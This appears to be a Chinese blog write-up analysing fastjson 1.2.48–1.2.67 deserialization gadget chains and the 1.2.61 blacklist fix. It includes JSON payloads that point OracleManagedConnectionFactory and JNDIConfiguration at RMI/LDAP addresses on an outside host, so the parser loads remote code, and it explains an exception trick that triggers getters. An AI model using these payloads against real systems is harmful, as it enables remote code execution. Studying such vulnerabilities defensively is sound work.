fastjson 1.2.48-1.2.67漏洞分析
版本:1.2.48-1.2.60
1. 针对1.2.47问题的修复
首先checkAutoType
方法中,从之前几个版本开始,黑白名单的校验通过hash
对比来处理,有效的防止大家针对黑名单去绕过
使用{"@type": "java.lang.Class"}
调试,发现在黑名单校验处抛出异常了,说明Class
类已经被拉黑了

2. 新的利用链
1 | {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"} |
有师傅在这两个类中找到了jndi
的相关利用链,不得不记录下github上自动扫描类去寻找相关关键字的脚本
https://github.com/Lonely-night/fastjson_gadgets_scanner
https://github.com/H3rmesk1t/Fastjson-Gadgets-Automatic-Scanner
2.1 OracleManagedConnectionFactory
这个依赖用于Java程序连接Oracle数据库的驱动,即
ojdbc
1 | <dependency> |
2.1.1 触发点
oracle.jdbc.connector.OracleManagedConnectionFactory#setupXADataSource
,参数是xaDataSourceName

2.1.2 触发链getLogWriter
如图,在getLogWriter
中,调用了setupXADataSource()
;但是getLogWriter()
如何触发呢,

2.1.3 如何自动触发
这里想到之前BCEL
的poc
构造,结合com.alibaba.fastjson.JSONObject
去触发get
方法请求
1 | { |
但是此处触发和1.2.24
不同
在DefaultJSONParser
中,当object
是JSONObject
类型时,不再执行toString

但是当我们指定 {}:""
,这里会抛出异常

Java的"aaa" + "bbb" + new Student()
前面的字符串会使用StringBuilder.append
拼接,拼接中的对象会调用toString
方法


思路:通过构造**""xxx**
这种json字段,**value**
的JSON解析抛出异常,触发**key.toString**
2.2 org.apache.commons.configuration.JNDIConfiguration
这个组件是Apache
开源组织提供的用于操作配置文件的工具包
1 | {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"} |
2.2.1 触发点

2.2.2 Poc构造
和ojdbc
的利用链一样,通过触发JSONException
,利用JSONObject.toString()
触发getXXX方法执行
1 | { |
2.3 问题
这个利用方法并没有绕过AutoTypeSupport
问题,需要手动开启
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
2.4 1.2.61修复
2.4.1 进入checkAutoType之前


2.4.3 Hash计算
去除计算代码,看下的是什么黑名单
1 | String className = "org.apache.commons.configuration.JNDIConfiguration"; |
1 | ==================== |
看来是把整个包路径+类名都加进去了